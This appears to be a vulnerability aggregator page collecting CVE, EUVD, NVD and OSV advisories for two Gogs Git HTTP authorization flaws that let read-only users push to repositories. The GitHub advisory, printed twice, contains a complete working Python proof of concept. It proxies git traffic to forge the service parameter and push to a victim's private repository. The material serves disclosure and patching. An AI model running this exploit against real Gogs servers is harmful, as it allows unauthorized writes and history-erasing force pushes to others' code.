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Gogs · Vulnerability

CVSS 4.0 7.1 HIGHCVSS 4.0 7.1 HIGHEUVD CVSS 4.0 7.1 EUVD CVSS 4.0 7.1 CVSS 4.0 · [email protected] · Secondary 7.1 HIGHCVSS 4.0 · [email protected] · Secondary 7.1 HIGHCVSS_V4 Publisher rating HIGHFixed by gogs.io/gogs 0.14.3osv · severity unknownKEV status unknown

cve-program · CVE-2026-123012

Published

In Gogs 0.14.3, the Git Smart HTTP authorization layer in internal/route/repo/http.go allows a push when only read access was intended, a different vulnerability than CVE-2026-52810. This occurs because of a case-sensitivity desync between the authorization classifier and the request dispatcher: the gitHTTPIsPull function compares the Git action verb case-sensitively and defaults to pull (read access) for any unrecognized string, whereas the request dispatcher lowercases the same verb before routing it to the receive-pack handler. Capitalizing a single letter in the URL (e.g. info/Refs instead of info/refs, or git-receive-Pack instead of git-receive-pack) causes the classifier to misidentify a push as a pull, granting only read-level authorization, whereas the dispatcher routes it to the write handler. An authenticated read-only collaborator can exploit this to push to a private repository, creating, updating, or deleting refs.

Read the publisher's advisory

cve-program · CVE-2026-52810

Published

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed. This vulnerability is fixed in 0.14.3.

Read the publisher's advisory

euvd · EUVD-2026-117331

Published

In Gogs 0.14.3, the Git Smart HTTP authorization layer in internal/route/repo/http.go allows a push when only read access was intended, a different vulnerability than CVE-2026-52810. This occurs because of a case-sensitivity desync between the authorization classifier and the request dispatcher: the gitHTTPIsPull function compares the Git action verb case-sensitively and defaults to pull (read access) for any unrecognized string, whereas the request dispatcher lowercases the same verb before routing it to the receive-pack handler. Capitalizing a single letter in the URL (e.g. info/Refs instead of info/refs, or git-receive-Pack instead of git-receive-pack) causes the classifier to misidentify a push as a pull, granting only read-level authorization, whereas the dispatcher routes it to the write handler. An authenticated read-only collaborator can exploit this to push to a private repository, creating, updating, or deleting refs.

Read the publisher's advisory

euvd · EUVD-2026-39081

Published

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed. This vulnerability is fixed in 0.14.3.

Read the publisher's advisory

nvd · CVE-2026-123012

Published

In Gogs 0.14.3, the Git Smart HTTP authorization layer in internal/route/repo/http.go allows a push when only read access was intended, a different vulnerability than CVE-2026-52810. This occurs because of a case-sensitivity desync between the authorization classifier and the request dispatcher: the gitHTTPIsPull function compares the Git action verb case-sensitively and defaults to pull (read access) for any unrecognized string, whereas the request dispatcher lowercases the same verb before routing it to the receive-pack handler. Capitalizing a single letter in the URL (e.g. info/Refs instead of info/refs, or git-receive-Pack instead of git-receive-pack) causes the classifier to misidentify a push as a pull, granting only read-level authorization, whereas the dispatcher routes it to the write handler. An authenticated read-only collaborator can exploit this to push to a private repository, creating, updating, or deleting refs.

Read the publisher's advisory

nvd · CVE-2026-52810

Published

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed. This vulnerability is fixed in 0.14.3.

Read the publisher's advisory

osv · GHSA-wmfg-5p4h-5fw3

Published

### Summary Git smart HTTP authorizes `POST …/git-receive-pack` using the client-supplied service query string (so `?service=git-upload-pack` is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed. ### Details Gogs' Git Smart HTTP handler for repository RPCs relies on a client-supplied query parameter to decide which authorization policy to apply. The Git protocol exposes two primary RPCs over HTTP: `upload-pack` for fetch (read) and `receive-pack` for push (write). In the affected implementation, the code derives the access mode from the `service` query parameter (for example, `service=git-upload-pack`) instead of the actual RPC path being executed. As a result, a request sent to the `receive-pack` endpoint can be incorrectly treated as a read operation if the query parameter claims it is an `upload-pack`. This behavior enables a request to POST to the write endpoint (`/repo.git/git-receive-pack`) while including a query string that indicates a read service. Route dispatch still executes the receive-pack code path, but authorization is evaluated as if the request were a read. A user who is normally only allowed to read a repository, can now write to it. One edge case is fully public repositories, viewable by anonymous users. Since performing this exploit results in a `AuthUser` property becoming `nil` in this case, a part of the code that uses it crashes (500 Internal Server Error), making it impossible to exploit. The two situations in which this is vulnerable are: * Attacker = collaborator with only Read rights & victim = owner of the repository * Instance using `REQUIRE_SIGNIN_VIEW = true`. Attacker = any signed in user & victim = any user with a public repository ### PoC 1. Create a Gogs instance (eg. http://localhost:3000) with 2 users: `victim` & `attacker` 2. As the victim, create a new private repository and add the attacker as a Read collaborator: <img width="1029" height="387" alt="image" src="https://github.com/user-attachments/assets/1f6b7f72-eaab-4970-bf65-221f1cebbbfa" /> 3. As the attacker, execute the following Python script (editing global vars as required): ```py from __future__ import annotations import os import shutil import subprocess import sys import tempfile import threading from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import quote, urlsplit, urlunsplit import requests REPO_URL = "http://localhost:3000/victim/target" USERNAME = "attacker" PASSWORD = "attacker" class ProxyHandler(BaseHTTPRequestHandler): upstream_scheme: str upstream_netloc: str log_rewrite: bool def log_message(self, *_args) -> None: return def do_GET(self) -> None: self._relay("GET") def do_POST(self) -> None: self._relay("POST") def _relay(self, method: str) -> None: raw = self.path if raw.startswith("http://") or raw.startswith("https://"): u = urlsplit(raw) scheme, netloc, path, query = u.scheme, u.netloc, u.path, u.query else: u = urlsplit(raw) scheme, netloc, path, query = ( self.upstream_scheme, self.upstream_netloc, u.path, u.query, ) q = query or "" if path.endswith("/git-receive-pack") and "service=" not in q: query = f"{q}&service=git-upload-pack" if q else "service=git-upload-pack" if self.log_rewrite: sys.stderr.write( f"[poc] rewrite receive-pack -> {path}?{query}\n") url = urlunsplit((scheme, netloc, path, query, "")) length = self.headers.get("Content-Length") body = self.rfile.read(int(length)) if length else None skip = { "host", "connection", "proxy-connection", "content-length", "transfer-encoding", } out_headers = {} for k, v in self.headers.items(): if k.lower() in skip: continue out_headers[k] = v out_headers["Host"] = netloc try: with requests.request( method, url, data=body, headers=out_headers, timeout=600, stream=True, ) as resp: resp.raw.decode_content = False data = resp.raw.read() status = resp.status_code headers = resp.headers except requests.RequestException as exc: self.send_error(502, f"upstream: {exc}") return hop_by_hop = { "transfer-encoding", "connection", "content-encoding", "proxy-authenticate", "proxy-authorization", "te", "trailers", "upgrade", } self.send_response(status) for k, v in headers.items(): if k.lower() in hop_by_hop: continue self.send_header(k, v) self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) def _run_git(cwd: str, *args: str, env: dict[str, str] | None = None) -> None: r = subprocess.run(["git", *args], cwd=cwd, env=env, capture_output=True, text=True) if r.returncode != 0: sys.stderr.write(r.stdout or "") sys.stderr.write(r.stderr or "") raise SystemExit(r.returncode) def main() -> None: base = urlsplit(REPO_URL) repo_path = f"{base.path.rstrip('/')}.git" auth = f"{quote(USERNAME, safe='')}:{quote(PASSWORD, safe='')}@{base.netloc}" remote = urlunsplit((base.scheme, auth, repo_path, "", "")) ProxyHandler.upstream_scheme = base.scheme ProxyHandler.upstream_netloc = base.netloc ProxyHandler.log_rewrite = True srv = HTTPServer(("127.0.0.1", 0), ProxyHandler) port = srv.server_address[1] t = threading.Thread(target=srv.serve_forever, daemon=True) t.start() tmp = tempfile.mkdtemp(prefix="gogs-git-poc-") try: _run_git(tmp, "init") _run_git(tmp, "config", "user.email", "[email protected]") _run_git(tmp, "config", "user.name", "gogs git http poc") with open(f"{tmp}/POC_VULN.txt", "w", encoding="utf-8") as f: f.write( "Created by local PoC: Git HTTP path is receive-pack while " "authorization follows forged service=git-upload-pack.\n" ) _run_git(tmp, "add", "POC_VULN.txt") _run_git(tmp, "commit", "-m", "poc: unauthorized push via service query confusion") _run_git(tmp, "branch", "-M", "poc/git-http-confusion") _run_git(tmp, "remote", "add", "origin", remote) env = os.environ.copy() proxy_url = f"http://127.0.0.1:{port}" env["http_proxy"] = proxy_url env["HTTP_PROXY"] = proxy_url env["https_proxy"] = proxy_url env["HTTPS_PROXY"] = proxy_url push = subprocess.run( ["git", "push", "-u", "origin", "poc/git-http-confusion"], cwd=tmp, env=env, capture_output=True, text=True, ) if push.returncode != 0: sys.stderr.write(push.stdout or "") sys.stderr.write(push.stderr or "") sys.exit(push.returncode) sys.stdout.write(push.stdout or "") sys.stderr.write( f"\n[poc] push succeeded. Branch poc/git-http-confusion should exist on {REPO_URL}.\n" ) finally: srv.shutdown() shutil.rmtree(tmp, ignore_errors=True) if __name__ == "__main__": main() ``` 4. Reload the repo URL and notice the attacker successfully wrote to the read-only repo: <img width="1038" height="398" alt="image" src="https://github.com/user-attachments/assets/4ada8b19-8cbd-40b0-a324-e93ed4d1c965" /> ### Impact If you can read a repository, and an anonymous user cannot, you can write to it. This affects some cases where read-only collaborator access is given, but is most impactful in instances with `REQUIRE_SIGNIN_VIEW = true` configured, because then all repositories will be writable to any user. Using force push this can also affect availability, as the original code in the main branch, for example, can be overridden without leaving history.

Read the publisher's advisory

osv · GO-2026-5712

Published

Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion in gogs.io/gogs. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: gogs.io/gogs before v0.14.3.

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-123012

Published

In Gogs 0.14.3, the Git Smart HTTP authorization layer in internal/route/repo/http.go allows a push when only read access was intended, a different vulnerability than CVE-2026-52810. This occurs because of a case-sensitivity desync between …

In Gogs 0.14.3, the Git Smart HTTP authorization layer in internal/route/repo/http.go allows a push when only read access was intended, a different vulnerability than CVE-2026-52810. This occurs because of a case-sensitivity desync between the authorization classifier and the request dispatcher: the gitHTTPIsPull function compares the Git action verb case-sensitively and defaults to pull (read access) for any unrecognized string, whereas the request dispatcher lowercases the same verb before routing it to the receive-pack handler. Capitalizing a single letter in the URL (e.g. info/Refs instead of info/refs, or git-receive-Pack instead of git-receive-pack) causes the classifier to misidentify a push as a pull, granting only read-level authorization, whereas the dispatcher routes it to the write handler. An authenticated read-only collaborator can exploit this to push to a private repository, creating, updating, or deleting refs.

Source published
5 Nov 2026 04:52:36 UTC
Source modified
9 Nov 2026 20:36:57 UTC
Saved here
9 Nov 2026 22:02:10 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:L/SA:N

cve-program · CVE-2026-52810

Published

Gogs: Write to readonly repositories using receive-pack + service=git-upload-pack confusion

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed. This vulnerability is fixed in 0.14.3.

Source published
24 Jun 2026 20:30:41 UTC
Source modified
25 Jun 2026 14:39:12 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

euvd · EUVD-2026-117331

Published

In Gogs 0.14.3, the Git Smart HTTP authorization layer in internal/route/repo/http.go allows a push when only read access was intended, a different vulnerability than CVE-2026-52810. This occurs because of a case-sensitivity desync between …

In Gogs 0.14.3, the Git Smart HTTP authorization layer in internal/route/repo/http.go allows a push when only read access was intended, a different vulnerability than CVE-2026-52810. This occurs because of a case-sensitivity desync between the authorization classifier and the request dispatcher: the gitHTTPIsPull function compares the Git action verb case-sensitively and defaults to pull (read access) for any unrecognized string, whereas the request dispatcher lowercases the same verb before routing it to the receive-pack handler. Capitalizing a single letter in the URL (e.g. info/Refs instead of info/refs, or git-receive-Pack instead of git-receive-pack) causes the classifier to misidentify a push as a pull, granting only read-level authorization, whereas the dispatcher routes it to the write handler. An authenticated read-only collaborator can exploit this to push to a private repository, creating, updating, or deleting refs.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Nov 5, 2026, 4:52:36 AM

dateUpdated: Nov 9, 2026, 8:36:57 PM

1 related source bulletins · separate from aliases

WID-SEC-W-2026-4360: Gogs: Schwachstelle ermöglicht Umgehen von Sicherheitsvorkehrungen und DoS

CVE-2026-123012

Source published
Nov 5, 2026, 4:52:36 AM (timezone not stated)
Source modified
Nov 9, 2026, 8:36:57 PM (timezone not stated)
Saved here
16 Nov 2026 07:36:23 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:L/SA:N

euvd · EUVD-2026-39081

Published

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still …

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed. This vulnerability is fixed in 0.14.3.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jun 24, 2026, 8:30:41 PM

dateUpdated: Jun 25, 2026, 2:39:12 PM

1 related source bulletins · separate from aliases

WID-SEC-W-2026-2013: Gogs: Mehrere Schwachstellen

CVE-2022-1285 · CVE-2024-39930 · CVE-2024-39932 · CVE-2024-39933 · CVE-2025-64719 · CVE-2026-25119 · CVE-2026-26194 · CVE-2026-47267 · CVE-2026-52795 · CVE-2026-52796 · CVE-2026-52798 · CVE-2026-52799 · CVE-2026-52800 · CVE-2026-52801 · CVE-2026-52802 · CVE-2026-52804 · CVE-2026-52805 · CVE-2026-52806 · CVE-2026-52807 · CVE-2026-52808 · CVE-2026-52809 · CVE-2026-52810 · CVE-2026-52811 · CVE-2026-52812 · CVE-2026-52813 · CVE-2026-52814 · CVE-2026-52815 · CVE-2026-52816

Source published
Jun 24, 2026, 8:30:41 PM (timezone not stated)
Source modified
Jun 25, 2026, 2:39:12 PM (timezone not stated)
Saved here
15 Nov 2026 14:47:53 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

nvd · CVE-2026-123012

Published

In Gogs 0.14.3, the Git Smart HTTP authorization layer in internal/route/repo/http.go allows a push when only read access was intended, a different vulnerability than CVE-2026-52810. This occurs because of a case-sensitivity desync between …

In Gogs 0.14.3, the Git Smart HTTP authorization layer in internal/route/repo/http.go allows a push when only read access was intended, a different vulnerability than CVE-2026-52810. This occurs because of a case-sensitivity desync between the authorization classifier and the request dispatcher: the gitHTTPIsPull function compares the Git action verb case-sensitively and defaults to pull (read access) for any unrecognized string, whereas the request dispatcher lowercases the same verb before routing it to the receive-pack handler. Capitalizing a single letter in the URL (e.g. info/Refs instead of info/refs, or git-receive-Pack instead of git-receive-pack) causes the classifier to misidentify a push as a pull, granting only read-level authorization, whereas the dispatcher routes it to the write handler. An authenticated read-only collaborator can exploit this to push to a private repository, creating, updating, or deleting refs.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-178

Original publisher date fields

published: 2026-11-05T05:18:36.790

lastModified: 2026-11-12T22:11:01.153

Source published
5 Nov 2026 05:18:36 UTC
Source modified
12 Nov 2026 22:11:01 UTC
Saved here
13 Nov 2026 23:59:06 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

nvd · CVE-2026-52810

Published

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still …

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed. This vulnerability is fixed in 0.14.3.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-284

Original publisher date fields

published: 2026-06-24T21:16:56.960

lastModified: 2026-06-25T16:16:38.927

Source published
24 Jun 2026 21:16:56 UTC
Source modified
25 Jun 2026 16:16:38 UTC
Saved here
25 Oct 2026 13:17:10 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

osv · GHSA-wmfg-5p4h-5fw3

Published

Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion

### Summary Git smart HTTP authorizes `POST …/git-receive-pack` using the client-supplied service query string (so `?service=git-upload-pack` is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed. ### Details Gogs' Git Smart HTTP handler for repository RPCs relies on a client-supplied query parameter to decide which authorization policy to apply. The Git protocol exposes two primary RPCs over HTTP: `upload-pack` for fetch (read) and `receive-pack` for push (write). In the affected implementation, the code derives the access mode from the `service` query parameter (for example, `service=git-upload-pack`) instead of the actual RPC path being executed. As a result, a request sent to the `receive-pack` endpoint can be incorrectly treated as a read operation if the query parameter claims it is an `upload-pack`. This behavior enables a request to POST to the write endpoint (`/repo.git/git-receive-pack`) while including a query string that indicates a read service. Route dispatch still executes the receive-pack code path, but authorization is evaluated as if the request were a read. A user who is normally only allowed to read a repository, can now write to it. One edge case is fully public repositories, viewable by anonymous users. Since performing this exploit results in a `AuthUser` property becoming `nil` in this case, a part of the code that uses it crashes (500 Internal Server Error), making it impossible to exploit. The two situations in which this is vulnerable are: * Attacker = collaborator with only Read rights & victim = owner of the repository * Instance using `REQUIRE_SIGNIN_VIEW = true`. Attacker = any signed in user & victim = any user with a public repository ### PoC 1. Create a Gogs instance (eg. http://localhost:3000) with 2 users: `victim` & `attacker` 2. As the victim, create a new private repository and add the attacker as a Read collaborator: <img width="1029" height="387" alt="image" src="https://github.com/user-attachments/assets/1f6b7f72-eaab-4970-bf65-221f1cebbbfa" /> 3. As the attacker, execute the following Python script (editing global vars as required): ```py from __future__ import annotations import os import shutil import subprocess import sys import tempfile import threading from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import quote, urlsplit, urlunsplit import requests REPO_URL = "http://localhost:3000/victim/target" USERNAME = "attacker" PASSWORD = "attacker" class ProxyHandler(BaseHTTPRequestHandler): upstream_scheme: str upstream_netloc: str log_rewrite: bool def log_message(self, *_args) -> None: return def do_GET(self) -> None: self._relay("GET") def do_POST(self) -> None: self._relay("POST") def _relay(self, method: str) -> None: raw = self.path if raw.startswith("http://") or raw.startswith("https://"): u = urlsplit(raw) scheme, netloc, path, query = u.scheme, u.netloc, u.path, u.query else: u = urlsplit(raw) scheme, netloc, path, query = ( self.upstream_scheme, self.upstream_netloc, u.path, u.query, ) q = query or "" if path.endswith("/git-receive-pack") and "service=" not in q: query = f"{q}&service=git-upload-pack" if q else "service=git-upload-pack" if self.log_rewrite: sys.stderr.write( f"[poc] rewrite receive-pack -> {path}?{query}\n") url = urlunsplit((scheme, netloc, path, query, "")) length = self.headers.get("Content-Length") body = self.rfile.read(int(length)) if length else None skip = { "host", "connection", "proxy-connection", "content-length", "transfer-encoding", } out_headers = {} for k, v in self.headers.items(): if k.lower() in skip: continue out_headers[k] = v out_headers["Host"] = netloc try: with requests.request( method, url, data=body, headers=out_headers, timeout=600, stream=True, ) as resp: resp.raw.decode_content = False data = resp.raw.read() status = resp.status_code headers = resp.headers except requests.RequestException as exc: self.send_error(502, f"upstream: {exc}") return hop_by_hop = { "transfer-encoding", "connection", "content-encoding", "proxy-authenticate", "proxy-authorization", "te", "trailers", "upgrade", } self.send_response(status) for k, v in headers.items(): if k.lower() in hop_by_hop: continue self.send_header(k, v) self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) def _run_git(cwd: str, *args: str, env: dict[str, str] | None = None) -> None: r = subprocess.run(["git", *args], cwd=cwd, env=env, capture_output=True, text=True) if r.returncode != 0: sys.stderr.write(r.stdout or "") sys.stderr.write(r.stderr or "") raise SystemExit(r.returncode) def main() -> None: base = urlsplit(REPO_URL) repo_path = f"{base.path.rstrip('/')}.git" auth = f"{quote(USERNAME, safe='')}:{quote(PASSWORD, safe='')}@{base.netloc}" remote = urlunsplit((base.scheme, auth, repo_path, "", "")) ProxyHandler.upstream_scheme = base.scheme ProxyHandler.upstream_netloc = base.netloc ProxyHandler.log_rewrite = True srv = HTTPServer(("127.0.0.1", 0), ProxyHandler) port = srv.server_address[1] t = threading.Thread(target=srv.serve_forever, daemon=True) t.start() tmp = tempfile.mkdtemp(prefix="gogs-git-poc-") try: _run_git(tmp, "init") _run_git(tmp, "config", "user.email", "[email protected]") _run_git(tmp, "config", "user.name", "gogs git http poc") with open(f"{tmp}/POC_VULN.txt", "w", encoding="utf-8") as f: f.write( "Created by local PoC: Git HTTP path is receive-pack while " "authorization follows forged service=git-upload-pack.\n" ) _run_git(tmp, "add", "POC_VULN.txt") _run_git(tmp, "commit", "-m", "poc: unauthorized push via service query confusion") _run_git(tmp, "branch", "-M", "poc/git-http-confusion") _run_git(tmp, "remote", "add", "origin", remote) env = os.environ.copy() proxy_url = f"http://127.0.0.1:{port}" env["http_proxy"] = proxy_url env["HTTP_PROXY"] = proxy_url env["https_proxy"] = proxy_url env["HTTPS_PROXY"] = proxy_url push = subprocess.run( ["git", "push", "-u", "origin", "poc/git-http-confusion"], cwd=tmp, env=env, capture_output=True, text=True, ) if push.returncode != 0: sys.stderr.write(push.stdout or "") sys.stderr.write(push.stderr or "") sys.exit(push.returncode) sys.stdout.write(push.stdout or "") sys.stderr.write( f"\n[poc] push succeeded. Branch poc/git-http-confusion should exist on {REPO_URL}.\n" ) finally: srv.shutdown() shutil.rmtree(tmp, ignore_errors=True) if __name__ == "__main__": main() ``` 4. Reload the repo URL and notice the attacker successfully wrote to the read-only repo: <img width="1038" height="398" alt="image" src="https://github.com/user-attachments/assets/4ada8b19-8cbd-40b0-a324-e93ed4d1c965" /> ### Impact If you can read a repository, and an anonymous user cannot, you can write to it. This affects some cases where read-only collaborator access is given, but is most impactful in instances with `REQUIRE_SIGNIN_VIEW = true` configured, because then all repositories will be writable to any user. Using force push this can also affect availability, as the original code in the main branch, for example, can be overridden without leaving history.

Source published
23 Jun 2026 17:03:41 UTC
Source modified
5 Nov 2026 21:41:04 UTC
Saved here
5 Nov 2026 22:48:48 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Publisher rating · HIGH

osv · GO-2026-5712

Published

Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion in gogs.io/gogs

Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion in gogs.io/gogs. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: gogs.io/gogs before v0.14.3.

Source published
25 Jun 2026 22:34:38 UTC
Source modified
5 Nov 2026 21:41:04 UTC
Saved here
5 Nov 2026 22:48:48 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

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